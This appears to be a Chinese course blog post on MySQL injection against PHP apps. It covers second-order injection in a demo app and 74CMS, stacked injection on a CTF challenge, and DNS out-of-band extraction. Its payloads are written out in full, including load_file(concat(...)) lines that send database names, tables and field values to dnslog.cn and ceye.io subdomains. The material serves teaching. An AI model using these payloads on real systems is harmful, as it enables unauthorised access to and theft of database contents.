2145 字
11 分钟
第45天:WEB攻防-PHP应用

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件 #知识点:

1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件

演示案例:

➢PHP-MYSQL-二次注入-DEMO&74CMS
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
➢PHP-MYSQL-带外注入-DEMO&DNSLOG

06ca85c810a66259125485129ca6f31f #PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句)) 白盒思路:insert后进入select或update的功能的代码块(源代码去审) 注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用)

1、DEMO-用户注册登录修改密码(使用报错回显)

01377927dc9df92b0710603ed87ff2cb

2ae890d1279a1de47026c07722e78ec2

注册新用户时,将注入的内容包含在注册的用户名后:admin’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#**

成功注入,并查看数据库,数据库中也存放了响应的注入语句

正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号

image-20250822122647582

image-20250822122632834

image-20250822123352687

image-20250822123602701

需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes#

5a7c6ceea432c71c65147febb2f7d12a

a9f145eb0bfbb3efc6bb9cafe2acafda

在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,

在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES (‘admin’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#’,‘123456’) 给username中的单引号添加转义字符\

在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入

如果不使用,转义函数,则会出现报错

ef7d23aa82e3553f4c456d6313db793f

addslashes 是一个 PHP 函数,用于对字符串中的特殊字符进行转义,返回在预定义的字符前添加反斜杠的字符串。

string addslashes ( string $str )
//参数:`$str` 是要进行转义的字符串。
//返回值:返回转义后的字符串。

返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

单引号(’) 双引号(”) 反斜杠(\) 零

magic_quotes_gpc 是一个在早期版本的 PHP 中存在的配置选项,其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。

具体作用如下:

自动转义: 当 magic_quotes_gpc 启用时,PHP 会在从 GET、POST 和 COOKIE 中获取的数据中自动添加转义斜杠,使特殊字符成为安全的字符串。例如,单引号 ’ 被转义为 \’。

示例:

// 假设 magic_quotes_gpc 已启用
$user_input = "It's a sample input";
// $user_input 变量包含 "It\\'s a sample input"
// 在早期的 PHP 版本中,这样的输入在插入到数据库时会被自动转义

2、CMS-74CMS个人中心简历功能#

  1. 配置并打开网址
  2. 前端对专业名称有长度限制,选中打开检查修改maxlength=“120”值
  3. 在学校名称和专业名称注入:aa','fullname'=user()#
  4. 分析源码

image-20250822132003689

image-20250822132246122

image-20250822132342609

8ff72945f6affdbdf41928c88bc26744

dcbed06a9963da6b93d0ac5b5f1b1863

a2741fafb5a8ee83555c8bc6b8b6f8be

#PHP-MYSQL-堆叠注入-DEMO&CTF强网

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句, 例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.支持堆叠数据库:MYSQL MSSQL Postgresql等

首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句

# **这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1
# 创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列**
SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));

由于sql语句在Navicat Premium 16有特定解析,支持两个分号的语句拼接在一起执行

image-20250822134344224

但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:

http://127.0.0.1/sqli/new.php?id=1;CREATE TABLE xxx(test VARCHAR(255))

所以不能执行语句

image-20250822135006507

image-20250822135127944

但是当php采用mysqli_multi_query函数接收并执行sql语句的时候

  1. 可以识别执行

image-20250822135241564

image-20250822135357234

1.目标存在SQL注入漏洞: 2.目标未对”;“号进行过滤:

目标系统未对输入中的分号(;)进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句,因此,如果应用程序未正确过滤这些字符,攻击者可以利用这一点来注入多条SQL语句。 3.目标中间层查询数据库信息时可同时执行多条SQL语句:

在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时 2019强网杯-随便注(CTF题型)

image-20250822140029851

';show databases;
';show tables;
';show columns from 1919810931114514;
';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

‘;show databases; 尝试显示数据库

‘;show tables; 尝试显示表。

‘;show columns from 1919810931114514; 尝试从具有特定名称的表中显示列。

‘;select flag from 1919810931114514; 试图从表中选择名为’flag’的列。确保表和列存在。

由于提示不能使用select等,所以使用动态SQL语句, 将想要执行的语句,转换为Hex(16 进制)

afbb6a2c6931c281e025c2232a88e90c

e55ca236da5fa72efc7e8b7f127724e3

‘;SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

execsql from @a; execute execsql; 在第一个步骤中,使用execsql语句从用户变量@a中执行动态SQL。@a包含一个十六进制字符串,可能代表一个SQL查询语句。 在第二个步骤中,使用execute语句执行之前准备好的动态SQL,该SQL语句由第一步中的execsql生成。

#PHP-MYSQL-带外注入-DEMO&DNSLOG#

产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据 0.注入条件:

ROOT高权限且支持load_file()

**secure-file-priv=**设置→默认关闭,必须添加到MYsql的配置文件my.ini中

D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini

image-20250822140951008

secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE。 例如,如果 secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT … INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。

如果源码有回显则直接注入即可文件读写利用

http://127.0.0.1/sqli/new.php?id=1 union select 1,2,3,load_file('D:\\1.txt'),5,6

image-20250822141400770

1.使用平台#

http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可

http://www.dnslog.cn

image-20250822142040395

2.带外应用场景:#

解决不回显,反向连接,SQL注入,命令执行,SSRF等

  • SQL注入:
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
and (select load_file(concat('//',(select database()),'.5xsq8m.dnslog.cn//abc')))

image-20250822142317561

查询当前数据库

image-20250822142458467

id=1 and load_file(concat("\\\\",database(),".5xsq8m.dnslog.cn\\asdt"))

查询其他数据库

id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".5xsq8m.dnslog.cn\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名**
limit 2,1 查询第三个数据库名
"""

image-20250822143057795

image-20250822143130684

查询版本号

image-20250822143313370

id=1 and load_file(concat("\\\\",version(),".26fr3e.dnslog.cn\\xxx.txt"))

查询当前数据库dome01中第一个表名

id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".26fr3e.dnslog.cn\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""

image-20250822143644152

image-20250822143654585

查询security数据库emails表下第一个列名

id=1 and load_file(concat(”\\”,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),“.dbuh8a.ceye.io\xxx.txt”))

查询字段值 数据库名为security 表名emails 列名id

id=1 and load_file(concat(”\\”,(select id from security.emails limit 0,1),“.dbuh8a.ceye.io\xxx.txt”))

第45天:WEB攻防-PHP应用
https://konwait12.github.io/my-kon-blog/posts/045web攻防/
作者
k-on!--wait
发布于
2025-08-21
许可协议
CC BY-NC-SA 4.0